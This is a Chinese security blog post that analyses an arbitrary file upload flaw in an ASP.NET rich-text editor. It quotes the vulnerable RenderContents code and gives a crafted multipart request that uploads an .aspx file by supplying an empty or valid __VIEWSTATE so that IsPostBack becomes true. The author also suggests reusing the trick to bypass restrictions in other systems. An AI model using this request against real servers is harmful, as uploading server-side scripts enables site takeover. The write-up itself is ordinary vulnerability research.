html 编辑器编码漏洞,某富文本编辑器文件上传漏洞(小论如何控制IsPostBack的值) | CN-SEC 中文网...

本文探讨了如何通过理解IsPostBack的机制,利用可控的Viewstate值实现文件上传。重点在于发现Viewstate的存在对IsPostBack为真至关重要。了解这个技巧,有助于在其他系统中实现特定功能,如绕过限制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这个文本编辑器上没有找到任何按钮是可以直接上传文件的(只有插入文件上传按钮,没啥用),但是代码里面是隐藏有这样一个功能的:

code 区域

protected override void RenderContents(HtmlTextWriter output)

{

if (this.Page.IsPostBack) //判断是否第一次访问,这个是小的关键点

{

//if there is an uploaded file

HttpFileCollection UploadFile =this.Page.Request.Files;

for (int i = 0; i < UploadFile.Count; i++)

{

HttpPostedFile file = UploadFile[i];

string FileName = Path.GetFileName(file.FileName);

string StrPath = this.Page.MapPath("~/Uploads/");

try

{

file.SaveAs(Path.Combine(StrPath, FileName));

}

catch (DirectoryNotFoundException DirectoryNullException)

{

output.Write(DirectoryNullException.Message);

}

}

}

Page.ClientScript.GetPostBackEventReference(this.Page, string.Empty);

HtmlSourceInitializer.InitializeHtmlSource(this.Page);

output.Write(HtmlSourceInitializer.RichTextHtmlSource.ToString());

}

RenderContents是绘制自定义控件时会自动调用的一个方法,这个编辑器直接把他重写了。

里面对于文件上传的判断,主要是由this.Page.IsPostBack来控制的,IsPostBack意思简述就是“是否是第一次访问该页面”。

更多请看:

http://**.**.**.**/zh-cn/library/system.web.ui.page.ispostback.aspx

所以,对于IsPostBack的值的控制,是是否可以成功上传文件的关键。

所以我们先考虑下,有没有比较万全的方法,可以使得IsPostBack的值可以为true(为true我们就可以上传文件了啊)

先搞一个文件上传的html试试:

0c4ea764a25249890aae0924ce1440df.png

上传了,文件夹里面并没有生成文件:

f3371652b33fe6126d84584b5783a534.png

所以很肯定的一点,就是直接用这个方法上传文件,ispostback是肯定不会有true的!

再用自带的demo,里面有一个get data的按钮,直接点击

8159ec8efd181d92b439f96eb85162bf.png

我们会看到自动提交了很多数据,在里面插入一段文件的代码:

code 区域

Content-Disposition: form-data; name="file"; filename="a.aspx"

Content-Type: application/xml

ai

先去掉其它东西,留下viewstate和这段file代码

code 区域

------WebKitFormBoundaryI4bps9FYvWWWngDb

Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUKMjEyNTk0Njc3Ng9kFgRmDxYCHglpbm5lcmh0bWwFqAQ8dGl0bGU+S3VsZWguY29tPC90aXRsZT48bGluayByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJyBocmVmPScvV2ViUmVzb3VyY2UuYXhkP2Q9VE54b2cyVGt0YzA1aFdidHg3OXpBOG5UbWEyWEhUSmxrNkozSV9OUWhmVjRpeVNIcnhvRHJNSXVjSEFlTl9fd25Fb3cyMGM0VGQwWmhIeWtJcDd2S2cyJnQ9NjM0OTcxMjg4NjU2MDgyOTcwJyAvPjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnIGhyZWY9Jy9XZWJSZXNvdXJjZS5heGQ/ZD1UTnhvZzJUa3RjMDVoV2J0eDc5ekE4blRtYTJYSFRKbGs2SjNJX05RaGZWaVlLUGtBdUJJQUVteFFKU1ozejZwM0VvdVExZThWU3o2anJIODEtLU1YZzImdD02MzQ5NzEyODg2NTYwODI5NzAnIC8+PGxpbmsgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2NzcycgaHJlZj0nL1dlYlJlc291cmNlLmF4ZD9kPVROeG9nMlRrdGMwNWhXYnR4Nzl6QThuVG1hMlhIVEpsazZKM0lfTlFoZlhpYnhrVk12RTB1WndQVi1NZmg5Ui1seWt1aHVfczFGQ0tDNGRmbk12cGl3MiZ0PTYzNDk3MTI4ODY1NjA4Mjk3MCcgLz5kAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkZH1GEi58juKz50rMm0Z+FcD3dEUs

------WebKitFormBoundaryI4bps9FYvWWWngDb

Content-Disposition: form-data; name="file"; filename="a.aspx"

Content-Type: application/xml

ai

------WebKitFormBoundaryI4bps9FYvWWWngDb—

a7981cfa67bea69f7b32c25a1db4fef8.png

此时测试是可以成功上传文件的:

173d6bd92d0f920bfe37df878ee4fa5a.png

先解开viewstate看看,看是否存在某一个值比如ispostback=true?

f50fa7fef8b916166c21b09dcde5280d.png

仔细对照了下,没有发现任何的地方是有ispostback=true的。

再清空viewstate,让viewstate=null

85668693062bed3bd66891ed0338d93e.png

一样成功上传了文件

13c7ff362d404286ee0f976d1538a4e1.png

所以按这个情况来分析,ispostback=true的一个条件是存在viewstate这个参数!只要viewstate是正确的或者为空值,都可以成立(千万不能乱伪造,接不开viewstate会导致系统报错,会500)。

综上,当遇到需要控制ispostback的值为true的时候,只要存在一个可控不会报错的viewstate值,服务器就会自动判断你不是第一次访问该页面,可以直接用类似下面的html代码解决问题:

code 区域

721ec1a5495da4f8ca90f5bea03458f0.png

小漏洞里面也可以研究出一些小知识,希望大家受益。这个点可能还可以用在很多其它系统上,说不定会有很给力的效果(比如一些绕过)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值